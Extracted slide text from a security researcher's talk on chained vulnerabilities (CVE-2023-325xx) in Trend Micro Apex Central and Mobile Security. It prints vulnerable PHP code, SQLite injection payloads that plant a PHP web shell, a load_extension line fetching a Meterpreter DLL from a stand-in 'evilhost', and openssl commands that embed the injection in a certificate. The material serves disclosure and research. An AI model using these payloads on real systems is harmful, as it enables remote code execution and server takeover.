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$ whoami 

● POH Jia Hao (@Chocologicall) 
● Web Security Researcher @ STAR Labs SG 

Pte. Ltd. 
● Web Application Vulnerability Research 
● Pentesting 



$ cat agenda.txt 
● What this talk is about 
● Primer on Trend Micro enterprise applications 
● Chain #1: Post-Auth File Upload to SQLi to RCE 
● Chain #2: Auth Bypass to (Limited) File Upload w/ (Limited) Local File 

Inclusion to RCE 
● Chain #3: ??? RCE 
● Searching for additional vulnerabilities 
● Conclusion and future research 



What this talk is about 

● Raising awareness about enterprise applications research 
● Sharing about the research journey which resulted in 10+ CVEs (pending) 
● Demonstrating the discovered vulns with PoC to show exploitability 
● Encouraging/reminding fellow researchers that classic PHP vulns are still 

plentiful especially in enterprise applications with legacy code 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Primer on                    enterprise applications 

● Trend Micro Apex Central 
○ Formerly known as “Control Manager” 
○ “Centralised Visibility and Investigation” 
○ Deploy consistent threat protection policies across endpoints and 

clients 

Primer on Trend Micro enterprise 
applications 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● Centralized dashboard for ease of policies deployment 

Trend Micro Apex Central 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Primer on                    enterprise applications 

● Trend Micro Mobile Security (Enterprise) 
○ “Gain visibility and control of mobile devices, applications, and data” 
○ Streamlines Mobile Device Management (MDM) into a single 

dashboard 

Primer on Trend Micro enterprise 
applications 



● A management platform for Mobile Device Management (MDM) 

Trend Micro Mobile Security (Enterprise) 

Primer on Trend Micro enterprise 
applications 



Code Reuse 

● Nothing wrong with that, makes it easier for shared components to be 
available in multiple applications. 

● However, finding bugs in shared components means multiple 
applications are vulnerable. 

● Find 1 bug, get N for free? 

Primer on Trend Micro enterprise 
applications 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Important directories - /widget 
Apex Central Mobile Security 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Model 

Controller 

View 

Apex Central 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Various bug chains 



Chain #1 - File Upload SQL 
Injection ..?  

Trend Micro Apex Central 



● Discovered two instances of functions vulnerable to SQLi 
○ CVE-2023-32529 
○ CVE-2023-32530 

● Although the main application uses MSSQL for majority of its operations, 
somehow the vulnerable component uses a standalone SQLite database. 

● Typically a SQLi vulnerability should sound the alarms… 

Chain #1: Auth File Upload to SQLi to  
        RCE 



Analysis 

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php

class DBHelper{

    private $dbh;

    private $db_file = '/../../../product/TMMS/tmms.db';

    

    public function __construct()

    {

        try{

            $connectString = realpath(dirname(__FILE__).$this->db_file);

            $this->dbh = new PDO('sqlite:'.$connectString);

        }

    }

}

Vulnerable code 

Chain #1: Auth File Upload to SQLi to  
        RCE 



Analysis 

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php

class DBHelper{

    private $dbh;

    private $db_file = '/../../../product/TMMS/tmms.db';

    

    public function __construct()

    {

        try{

            $connectString = realpath(dirname(__FILE__).$this->db_file);

            $this->dbh = new PDO('sqlite:'.$connectString);

        }

    }

}

Chain #1: Auth File Upload to SQLi to  
        RCE 

Vulnerable code 



Analysis Chain #1: Auth File Upload to SQLi to  
        RCE 



// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php

class DBHelper{

    public function AddCert($cert)

    {    

        $sql = "INSERT INTO tb_certificate 

(Name,FileData,HasPrivateKey,Password,UploadTime,Issuer,Topic,ExpireDate,Uploader) 

VALUES('".$cert['Name']."','".$cert['FileData']."',".$cert['HasPrivateKey'].",'".$cert['Password']

."',".$cert['UploadTime'].",'".$cert['Issuer']."','".$cert['Topic']."',".$cert['ExpireDate'].",'".

$cert['Uploader']."')";

        return $this->dbh->exec($sql);

    }

}

SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

Vulnerable code 



SQL 
Injection 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Chain #1: Auth File Upload to SQLi to  

        RCE 

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php

class DBHelper{

    public function AddCert($cert)

    {    

        $sql = "INSERT INTO tb_certificate 

(Name,FileData,HasPrivateKey,Password,UploadTime,Issuer,Topic,ExpireDate,Uploader) 

VALUES('".$cert['Name']."','".$cert['FileData']."',".$cert['HasPrivateKey'].",'".$cert['Password']

."',".$cert['UploadTime'].",'".$cert['Issuer']."','".$cert['Topic']."',".$cert['ExpireDate'].",'".

$cert['Uploader']."')";

        return $this->dbh->exec($sql);

    }

}

Vulnerable code 



SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php

class DBHelper{

    public function AddCert($cert)

    {    

        $sql = "INSERT INTO tb_certificate 

(Name,FileData,HasPrivateKey,Password,UploadTime,Issuer,Topic,ExpireDate,Uploader) 

VALUES('".$cert['Name']."','".$cert['FileData']."',".$cert['HasPrivateKey'].",'".$cert['Password']

."',".$cert['UploadTime'].",'".$cert['Issuer']."','".$cert['Topic']."',".$cert['ExpireDate'].",'".

$cert['Uploader']."')";

        return $this->dbh->exec($sql);

    }

}

Vulnerable code 



SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function UploadX509Cert($file) {

    $fd = fopen($file, 'r');

    $x509buf = fread($fd, filesize($file)); 

    $certObj = openssl_x509_parse($x509buf);           

    $dbCert = array(

            "Name" => $certObj["subject"]["CN"],

            "Issuer" => $certObj["issuer"]["CN"]."",

            "Password" => "",

            // ...

            );

    $db_helper = new DBHelper();

    if($db_helper->AddCert($dbCert)==0){

Vulnerable code 



// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function UploadX509Cert($file) {

    $fd = fopen($file, 'r');

    $x509buf = fread($fd, filesize($file)); 

    $certObj = openssl_x509_parse($x509buf);           

    $dbCert = array(

            "Name" => $certObj["subject"]["CN"],

            "Issuer" => $certObj["issuer"]["CN"]."",

            "Password" => "",

            // ...

            );

    $db_helper = new DBHelper();

    if($db_helper->AddCert($dbCert)==0){

Vulnerable code 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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function UploadX509Cert($file) {

    $fd = fopen($file, 'r');

    $x509buf = fread($fd, filesize($file)); 

    $certObj = openssl_x509_parse($x509buf);           

    $dbCert = array(

            "Name" => $certObj["subject"]["CN"],

            "Issuer" => $certObj["issuer"]["CN"]."",

            "Password" => "",

            // ...

            );

    $db_helper = new DBHelper();

    if($db_helper->AddCert($dbCert)==0){

SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function UploadX509Cert($file) {

    $fd = fopen($file, 'r');

    $x509buf = fread($fd, filesize($file)); 

    $certObj = openssl_x509_parse($x509buf);            

    $dbCert = array(

            "Name" => $certObj["subject"]["CN"], 

            "Issuer" => $certObj["issuer"]["CN"]."",

            "Password" => "",

            // ...

            );

    $db_helper = new DBHelper();

    if($db_helper->AddCert($dbCert)==0){ 

SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

Vulnerable code 



// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function UploadX509Cert($file) {

    $fd = fopen($file, 'r');

    $x509buf = fread($fd, filesize($file));  

    $certObj = openssl_x509_parse($x509buf);            

    $dbCert = array(

            "Name" => $certObj["subject"]["CN"], 

            "Issuer" => $certObj["issuer"]["CN"]."",

            "Password" => "",

            // ...

            );

    $db_helper = new DBHelper();

    if($db_helper->AddCert($dbCert)==0){ 

SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function UploadX509Cert($file) {

    $fd = fopen($file, 'r');

    $x509buf = fread($fd, filesize($file)); 

    $certObj = openssl_x509_parse($x509buf);            

    $dbCert = array(

            "Name" => $certObj["subject"]["CN"],

            "Issuer" => $certObj["issuer"]["CN"]."",

            "Password" => "",

            // ...

            );

    $db_helper = new DBHelper();

    if($db_helper->AddCert($dbCert)==0){ 

SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/proxy.php

public function proxy_exec() {

    //...

    else if(isset($this->cgiArgs['tmms_cmd'])) // [1]

    {

        $tmms_cmd = $this->cgiArgs['tmms_cmd'];

        else if('set_certificates_config' == $tmms_cmd) // [2]

        {

            $file = $_FILES["cert_file_name"]["tmp_name"]; // [3]

            else

            {

                $re = UploadX509Cert($file); // [4]

            }

        }

    }

}

Vulnerable code 

SQL 
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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/proxy.php

public function proxy_exec() {

    //...

    else if(isset($this->cgiArgs['tmms_cmd'])) 

    {

        $tmms_cmd = $this->cgiArgs['tmms_cmd'];

        else if('set_certificates_config' == $tmms_cmd) 

        {

            $file = $_FILES["cert_file_name"]["tmp_name"]; 

            else

            {

                $re = UploadX509Cert($file); 

            }

        }

    }

}

SQL 
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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/proxy.php

public function proxy_exec() {

    //...

    else if(isset($this->cgiArgs['tmms_cmd'])) 

    {

        $tmms_cmd = $this->cgiArgs['tmms_cmd'];

        else if('set_certificates_config' == $tmms_cmd) 

        {

            $file = $_FILES["cert_file_name"]["tmp_name"]; 

            else

            {

                $re = UploadX509Cert($file); 

            }

        }

    }

}

SQL 
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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/proxy.php

public function proxy_exec() {

    //...

    else if(isset($this->cgiArgs['tmms_cmd'])) 

    {

        $tmms_cmd = $this->cgiArgs['tmms_cmd'];

        else if('set_certificates_config' == $tmms_cmd) 

        {

            $file = $_FILES["cert_file_name"]["tmp_name"]; 

            else

            {

                $re = UploadX509Cert($file); 

            }

        }

    }

}

SQL 
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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/proxy.php

public function proxy_exec() {

    //...

    else if(isset($this->cgiArgs['tmms_cmd'])) 

    {

        $tmms_cmd = $this->cgiArgs['tmms_cmd'];

        else if('set_certificates_config' == $tmms_cmd) 

        {

            $file = $_FILES["cert_file_name"]["tmp_name"]; 

            else

            {

                $re = UploadX509Cert($file); 

            }

        }

    }

}
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// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/proxy.php

public function proxy_exec() {

    //...

    else if(isset($this->cgiArgs['tmms_cmd'])) 

    {

        $tmms_cmd = $this->cgiArgs['tmms_cmd'];

        else if('set_certificates_config' == $tmms_cmd) 

        {

            $file = $_FILES["cert_file_name"]["tmp_name"]; 

            else

            {

                $re = UploadX509Cert($file); 

            }

        }

    }

}

SQL 
Injection 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Chain #1: Auth File Upload to SQLi to  

        RCE 

Vulnerable code 



● Existing code performs syntax validation for uploaded x509 certificate via 
openssl_x509_parse()

● Theoretically possible to achieve SQLi if we POST a malicious x509 
certificate containing SQLite RCE payload 

● Should be straightforward? 🤔 

SQL 
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$dbCert = array(
            "Name" => $certObj["subject"]["CN"],
            "Issuer" => $certObj["issuer"]["CN"]."",
            // ...
            );

$sql = "INSERT INTO tb_certificate 

(Name,FileData,HasPrivateKey,Password,UploadTime,Issuer,Topic,ExpireDate,Uploader) 

VALUES('".$cert['Name']."','".$cert['FileData']."',".$cert['HasPrivateKey'].",'".$cert['Passw

ord']."',".$cert['UploadTime'].",'".$cert['Issuer']."','".$cert['Topic']."',".$cert['ExpireDa

te'].",'".$cert['Uploader']."')";

return $this->dbh->exec($sql);

SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

Source 

Sink 



● Can we do better? 💪 
● With SQLi in SQLite, there are known ways to achieve RCE: 

 
ATTACH DATABASE

 
 

LOAD_EXTENSION()* 
 

ATTACH DATABASE '/var/www/lol.php' AS lol;

CREATE TABLE lol.pwn (dataz text);

INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

* not enabled by default 

SQL 
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SQLite RCE payload via ATTACH DATABASE: 

ATTACH DATABASE '/var/www/lol.php' AS lol;

CREATE TABLE lol.pwn (dataz text);

INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); 

?>");-- 

SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 



SQLite RCE payload via ATTACH DATABASE: 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE 'C:\Program Files (x86)\Trend Micro\Control 

Manager\WebUI\WebApp\widget\repository\a.php' AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES ("<?php exec($_GET['cmd']); ?>"); 

SQL 
Injection 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Chain #1: Auth File Upload to SQLi to  
        RCE 

SQL 
Injection Analysis 



Sink 
$sql = "INSERT INTO tb_certificate 

(Name,FileData,HasPrivateKey,Password,UploadTime,Issuer,Topic,ExpireDate,Uploader) 

VALUES('".$cert['Name']."','".$cert['FileData']."',".$cert['HasPrivateKey'].",'".$cert['Passw

ord']."',".$cert['UploadTime'].",'".$cert['Issuer']."','".$cert['Topic']."',".$cert['ExpireDa

te'].",'".$cert['Uploader']."')";

Golfing SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

64-character limit each 



$sql = "INSERT INTO tb_certificate 

(Name,FileData,HasPrivateKey,Password,UploadTime,Issuer,Topic,ExpireDate,Uploader) 

VALUES('".$cert['Name']."','".$cert['FileData']."',".$cert['HasPrivateKey'].",'".$cert['Passw

ord']."',".$cert['UploadTime'].",'".$cert['Issuer']."','".$cert['Topic']."',".$cert['ExpireDa

te'].",'".$cert['Uploader']."')";

64-character limit each 

’); first section of payload /*
*/ second section of payload

Golfing SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

Sink 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Payload (211 chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE 'C:\Program Files (x86)\Trend Micro\Control 

Manager\WebUI\WebApp\widget\repository\a.php' AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES ("<?php exec($_GET['cmd']); ?>"); 

Golfing SQL 
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        RCE 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Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

Payload (208 chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE'C:\Program Files (x86)\Trend Micro\Control 

Manager\WebUI\WebApp\widget\repository\a.php'AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES("<?php exec($_GET['cmd']); ?>"); 



Golfing SQL 
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        RCE 

Payload (208 chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE'C:\Program Files (x86)\Trend Micro\Control 

Manager\WebUI\WebApp\widget\repository\a.php'AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES("<?php exec($_GET['cmd']); ?>"); 



Payload (208 chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE'C:\Program Files (x86)\Trend Micro\Control 

Manager\WebUI\WebApp\widget\repository\a.php'AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES("<?php exec($_GET['cmd']); ?>"); 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        RCE 

Payload (195 chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE'C:\Program Files (x86)\Trend Micro\Control 

Manager\WebUI\WebApp\widget\repository\a.php'AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES("<?=`$_GET[c]`?>"); 



Golfing SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

Payload (195 chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE'C:\Program Files (x86)\Trend Micro\Control 

Manager\WebUI\WebApp\widget\repository\a.php'AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES("<?=`$_GET[c]`?>"); 



Chain #1: Auth File Upload to SQLi to  
        RCE  Golfing SQL 

Injection Analysis 

Payload (195 chars): 

',1,1,1,1,1,1,1,1);
ATTACH DATABASE'C:\Program Files (x86)\Trend Micro\Control 
Manager\WebUI\WebApp\widget\repository\a.php'AS a;
CREATE TABLE a.b(c text);
INSERT INTO a.b VALUES("<?=`$_GET[c]`?>"); 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Golfing SQL 
Injection Analysis Chain #1: Auth File Upload to SQLi to  

        RCE 

Payload (172 chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE

'C:\PROGRA~2\TRENDM~1\CONTRO~1\WebUI\WebApp\widget\REPOSI~1\a.php'AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES("<?=`$_GET[c]`?>"); 



Target Dir: C:\Program Files (x86)\Trend Micro\Control Manager\WebUI\WebApp\widget\repository
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Golfing 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Payload (? chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE'REPOSI~1\a.php'AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES("<?=`$_GET[c]`?>"); 



Golfing SQL 
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Chain #1: Auth File Upload to SQLi to  

        RCE 

Payload (122 chars): 

',1,1,1,1,1,1,1,1);

ATTACH DATABASE'REPOSI~1\a.php'AS a;

CREATE TABLE a.b(c text);

INSERT INTO a.b VALUES("<?=`$_GET[c]`?>"); 



Payload (125 chars): 

63 characters:

',1,1,1,1,1,1,1,1);ATTACH DATABASE'REPOSI~1\a.php'AS a;CREATE/*

62 characters:

*/TABLE a.b(c text);INSERT INTO a.b VALUES("<?=`$_GET[c]`?>"); 

Golfing SQL 
Injection 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        RCE 



Exploitation 

Sink 

$sql = "INSERT INTO tb_certificate 

(Name,FileData,HasPrivateKey,Password,UploadTime,Issuer,Topic,ExpireDate,Uploader) 

VALUES('',1,1,1,1,1,1,1,1);

ATTACH DATABASE'REPOSI~1\a.php'AS a;

CREATE/*

’,'".$cert['FileData']."',".$cert['HasPrivateKey'].",'".$cert['Password']."',".$cert['UploadTime'].",

*/TABLE a.b(c text);

INSERT INTO a.b VALUES("<?=`$_GET[c]`?>");

'".$cert['Topic']."',".$cert['ExpireDate'].",'".$cert['Uploader']."')";

Chain #1: Auth File Upload to SQLi to  
        RCE 



$ openssl genrsa -out ./certs/rootCA.key 4096

$ cp /etc/ssl/openssl.cnf ./certs/config

$ openssl req -x509 -new -nodes -key ./certs/rootCA.key -sha256 -days 365 -out ./certs/rootCA.crt 

-subj '/CN=*\/TABLE a.b(c text);INSERT INTO a.b VALUES("<?=`$_GET[c]`?>");'

$ openssl req -new -nodes -newkey rsa:4096 -keyout ./certs/domain.key -out ./certs/domain.csr 

-batch -subj "/CN=',1,1,1,1,1,1,1,1);ATTACH DATABASE'REPOSI~1\/a.php'AS a;CREATE\/*" -config 

./certs/config

$ openssl x509 -req -in ./certs/domain.csr -CA ./certs/rootCA.crt -CAkey ./certs/rootCA.key 

-CAcreateserial -out ./certs/domain.crt -days 365 -sha256

Exploitation Chain #1: Auth File Upload to SQLi to  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Chain #1: Auth File Upload to SQLi to  
        RCE  Exploitation 

https://docs.google.com/file/d/15lGjCxZWb8sFZUG-JkfNHzTx5ZLEotBm/preview
https://docs.google.com/file/d/15lGjCxZWb8sFZUG-JkfNHzTx5ZLEotBm/preview


Exploitation Chain #1: Auth File Upload to SQLi to  
        RCE 

https://docs.google.com/file/d/1VMldtNXspprGF-C-zvMndOYlwY-eLDe0/preview
https://docs.google.com/file/d/1VMldtNXspprGF-C-zvMndOYlwY-eLDe0/preview


Exploitation Chain #1: Auth File Upload to SQLi to  
        RCE 



● The other vulnerable SQLi sink was a DeleteCert() function which also 
leads to RCE, hence a second CVE-ID was issued. 

○ CVE-2023-32529 
○ CVE-2023-32530 

● Multiple XSS’es… 
○ CVE-2023-32531 
○ CVE-2023-32532 
○ CVE-2023-32533 
○ CVE-2023-32534 
○ CVE-2023-32535 

Review Chain #1: Auth File Upload to SQLi to  
        RCE 



Review Chain #1: Auth File Upload to SQLi to  
        RCE 

A simple vulnerability with a simple patch: 



Chain #2 - Unauth RCE Chain  
Trend Micro Mobile Security (Enterprise) 



● Trend Micro Mobile Security (Enterprise) 
● Discovered full chain from pre-auth to RCE (CVSSv3.1 score 9.8) 

○ CVE-2023-32523 – Authentication Bypass 
○ CVE-2023-32525 – (Limited) File Upload 
○ CVE-2023-32527 – (Limited) Local File Inclusion 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 



● Codebase comes with 2 nearly identical endpoints at 
/widget and /widgetforsecurity → find 1 chain, get another 
for free!! 

● “With compliments” full chain 
○ CVE-2023-32524 – Authentication Bypass 
○ CVE-2023-32526 – (Limited) File Upload 
○ CVE-2023-32528 – (Limited) Local File Inclusion 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 



session_info

PHPSESSID

session_info is bound to PHPSESSID! 

Therefore… Generating valid session_info = authentication bypassed! 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

require_once (dirname(__FILE__) . "/../../config.php");

require_once (dirname(__FILE__) . "/../common/db/GenericDao.php");

class WFUser

{

    public function __construct(){

        $this->createUserDB();

    }

    public function createUserDB(){

        global $wfconf_dbconfig;

        $this->userdb = new WFGenericDao($wfconf_dbconfig["table"]["users"]["name"], 

$wfconf_dbconfig["table"]["userdata"]["name"], $wfconf_dbconfig, 0);

    }

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

require_once (dirname(__FILE__) . "/../../config.php");

require_once (dirname(__FILE__) . "/../common/db/GenericDao.php");

class WFUser

{

    public function __construct(){

        $this->createUserDB();

    }

    public function createUserDB(){

        global $wfconf_dbconfig;

        $this->userdb = new WFGenericDao($wfconf_dbconfig["table"]["users"]["name"], 

$wfconf_dbconfig["table"]["userdata"]["name"], $wfconf_dbconfig, 0);

    }

}

// Mobile Security/web/widget/inc/config.php

/* *********************************************************

* Database configurations

*/

$wfconf_WFHome = realpath(dirname(__FILE__) . "/..");

$wfconf_dbconfig = array();

$wfconf_dbconfig["type"] = "sqlite"; // sqlite or mysql

$wfconf_dbconfig["host"] = "localhost";

$wfconf_dbconfig["username"] = "root";

$wfconf_dbconfig["password"] = "root@trendmicro";

// Settings for SQLite

$wfconf_dbconfig["dbname"] = "tmwf";

$wfconf_dbconfig["dbfile"] = $wfconf_WFHome . "/repository/db/sqlite/tmwf.db"; // database file

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

require_once (dirname(__FILE__) . "/../../config.php");

require_once (dirname(__FILE__) . "/../common/db/GenericDao.php");

class WFUser

{

    public function __construct(){

        $this->createUserDB();

    }

    public function createUserDB(){

        global $wfconf_dbconfig;

        $this->userdb = new WFGenericDao($wfconf_dbconfig["table"]["users"]["name"], 

$wfconf_dbconfig["table"]["userdata"]["name"], $wfconf_dbconfig, 0);

    }

}

// Mobile Security/web/widget/inc/config.php

/* *********************************************************

* Database configurations

*/

$wfconf_WFHome = realpath(dirname(__FILE__) . "/..");

$wfconf_dbconfig = array();

$wfconf_dbconfig["type"] = "sqlite"; // sqlite or mysql

$wfconf_dbconfig["host"] = "localhost";

$wfconf_dbconfig["username"] = "root";

$wfconf_dbconfig["password"] = "root@trendmicro";

// Settings for SQLite

$wfconf_dbconfig["dbname"] = "tmwf";

$wfconf_dbconfig["dbfile"] = $wfconf_WFHome . "/repository/db/sqlite/tmwf.db"; // database file

Vulnerable code 



// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

require_once (dirname(__FILE__) . "/../../config.php");

require_once (dirname(__FILE__) . "/../common/db/GenericDao.php");

class WFUser

{

    public function __construct(){

        $this->createUserDB();

    }

    public function createUserDB(){

        global $wfconf_dbconfig;

        $this->userdb = new WFGenericDao($wfconf_dbconfig["table"]["users"]["name"], 

$wfconf_dbconfig["table"]["userdata"]["name"], $wfconf_dbconfig, 0);

    }

}

Vulnerable code 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

// Mobile Security/web/widget/repository/widgetPool/wp1/inc/common.php

function product_get_session_username()

{    

    if( isset($_SESSION["UserName"]) ) {

        return $_SESSION["UserName"];

    }

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

// Mobile Security/web/widget/repository/widgetPool/wp1/inc/common.php

function product_get_session_username()

{    

    if( isset($_SESSION["UserName"]) ) {

        return $_SESSION["UserName"];

    }

}

// Mobile Security/web/widget/repository/widgetPool/wp1/inc/product_auth.php

session_start();

$User = explode(',',$_COOKIE['session_info']);

$_SESSION["UserName"] = $User[1];

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

